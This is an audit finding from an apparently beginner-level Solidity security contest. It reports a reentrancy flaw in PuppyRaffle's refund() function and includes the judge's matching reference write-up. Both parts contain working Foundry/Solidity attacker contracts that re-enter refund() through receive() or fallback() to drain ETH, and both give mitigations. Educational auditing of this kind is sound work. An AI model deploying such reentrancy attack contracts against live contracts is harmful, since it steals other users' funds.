Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy Allows Player to Drain ETH via `refund()`

Root + Impact

Description

The refund() function contains a reentrancy vulnerability that lets an attacker drain the contract's ETH balance. The function sends ETH before updating state, which means a malicious contract can recursively call back into refund() and withdraw the same ticket multiple times.

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0); // State updated AFTER external call

Risk

Likelihood:

The function violates the Checks-Effects-Interactions pattern by performing the external ETH transfer before marking the player slot as refunded.
This ordering allows a malicious contract to re-enter through its receive() or fallback() function while players[playerIndex] still contains a valid address, bypassing the duplicate refund check.

Impact:

An attacker can drain the contract's ETH balance by recursively refunding the same ticket. This directly steals funds that belong to other participants and breaks the core invariant that each ticket can only be refunded once.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";
contract RefundReentrancyTest is Test {
PuppyRaffle raffle;
Attacker attacker;
uint256 constant ENTRANCE_FEE = 1 ether;
function setUp() public {
raffle = new PuppyRaffle(ENTRANCE_FEE, address(0xfee), 1 days);
attacker = new Attacker(raffle);
vm.deal(address(attacker), 10 ether);
// Add honest players to provide balance
address[] memory players = new address[](3);
players[0] = address(0xA);
players[1] = address(0xB);
players[2] = address(0xC);
vm.deal(address(this), 10 ether);
raffle.enterRaffle{value: 3 ether}(players);
}
function test_ReentrancyDrainsFunds() public {
attacker.enter{value: ENTRANCE_FEE}();
uint256 beforeBal = address(raffle).balance;
attacker.attack();
uint256 afterBal = address(raffle).balance;
// Attacker withdrew more than they deposited
assertLt(afterBal, beforeBal - ENTRANCE_FEE);
assertGt(address(attacker).balance, ENTRANCE_FEE);
}
}
contract Attacker {
PuppyRaffle raffle;
uint256 index;
bool reenter;
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
}
function enter() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
index = raffle.getActivePlayerIndex(address(this));
}
function attack() external {
reenter = true;
raffle.refund(index);
reenter = false;
}
receive() external payable {
if (reenter && address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(index);
}
}
}

The external call occurs before the state update. A malicious contract can re-enter refund() from receive() while players[playerIndex] is still non-zero, passing the checks repeatedly and receiving multiple payouts.

Recommended Mitigation

Update state before making the external call:

Alternatively, add a reentrancy guard from OpenZeppelin's ReentrancyGuard.

players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);Alternatively, add a reentrancy guard from OpenZeppelin's ReentrancyGuard.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 10 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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